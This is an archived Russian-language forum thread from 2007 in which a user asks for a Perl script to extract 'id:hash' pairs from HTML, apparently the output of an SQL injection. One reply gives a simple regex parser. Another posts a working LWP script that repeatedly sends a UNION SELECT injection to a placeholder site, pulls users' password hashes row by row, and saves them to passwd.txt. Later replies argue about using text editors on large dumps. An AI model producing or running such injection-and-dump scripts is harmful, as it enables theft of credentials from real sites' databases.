PDA

Просмотр полной версии : Парсер Текстового файла

Xszz
24.10.2007, 20:30
Народ , у кого есть минутка .
Наишет парсер на PERLE .
Задача:
Есть вот такие строки <td valign="top" width="33%"><img src="1" width="40" height="32">&nbsp;<strong>2</strong><br>:ed14f4a4d7ecddb6dae8e54900300b1e</td>


</tr><tr><tr>
<td valign="top" width="33%"><img src="1" width="40" height="32">&nbsp;<strong>2</strong><br>123:88f2ceb4ad7be1adfed2145c5dddd178</td>
мне надо чтоб вынимало
123:88f2ceb4ad7be1adfed2145c5dddd178
Спасибо .
demonoid
25.10.2007, 10:30
#!perl
use strict;
use warnings;
my $page = '<td valign="top" width="33%"><img src="1" width="40" height="32">&nbsp;<strong>2</strong><br>123:88f2ceb4ad7be1adfed2145c5dddd178</td>';
$page =~/<br>(\w+):(\w+)<\/td>/;
print "$1:$2 \n";

C:\>parse.pl
123:88f2ceb4ad7be1adfed2145c5dddd178
blackybr
25.10.2007, 10:53
я так понимаю у него скуль вида -1+union+select+1,1/* и ему надо каждый лимитом вытаскивать


#!/usr/bin/perl
use strict;
#use warnings;
use LWP::UserAgent;

my $num = $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("Dendi 8bit");
#$ua->proxy(['http', 'ftp'] => 'http://login:pass@proxy-ip:port');
open(FH,">passwd.txt") or die "$!";
for(1..$num) {
my $req = HTTP::Request->new(GET => "http://site.ru/index.php?id=-1+union+select+1,concat('123:',password)+from+user s+limit+$_,1/*");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
$res->content =~/<strong>2<\/strong><br>123(.+?)<\/td>/;
print FH $1,"\n";
}
close FH;


запускаешь с параметром сколько вытаскивать и ждешь, когда скрипт закончит работу, вывод в passwd.txt
heks
26.10.2007, 18:59
хе. какие парсеры еще? сохраняешь все в текстовый документ и нажимаешь кнопку замена в строчку что искать пишешь то что надо удалить а в строчку заменить на что оставь пустой вот и все
NuR
27.10.2007, 06:10
хе. какие парсеры еще? сохраняешь все в текстовый документ и нажимаешь кнопку замена в строчку что искать пишешь то что надо удалить а в строчку заменить на что оставь пустой вот и все
ну да блин, а если база мегов на 300-500? бедный notepad.exe =( жаль мне его
_Great_
27.10.2007, 08:10
ну да блин, а если база мегов на 300-500? бедный notepad.exe =(
если база уже мегов в 7-10 нотепад отдаст концы. а с 1-2меговыми файлами будет жутко тормозить
heks
27.10.2007, 09:32
ну да блин, а если база мегов на 300-500? бедный notepad.exe =( жаль мне его
ни чего и 200 и 300 откроет немного повисит и сделает свое дело за то просить ни кого не надо.
TANZWUT
27.10.2007, 09:32
в тотале F3 и никаких тормозов... :)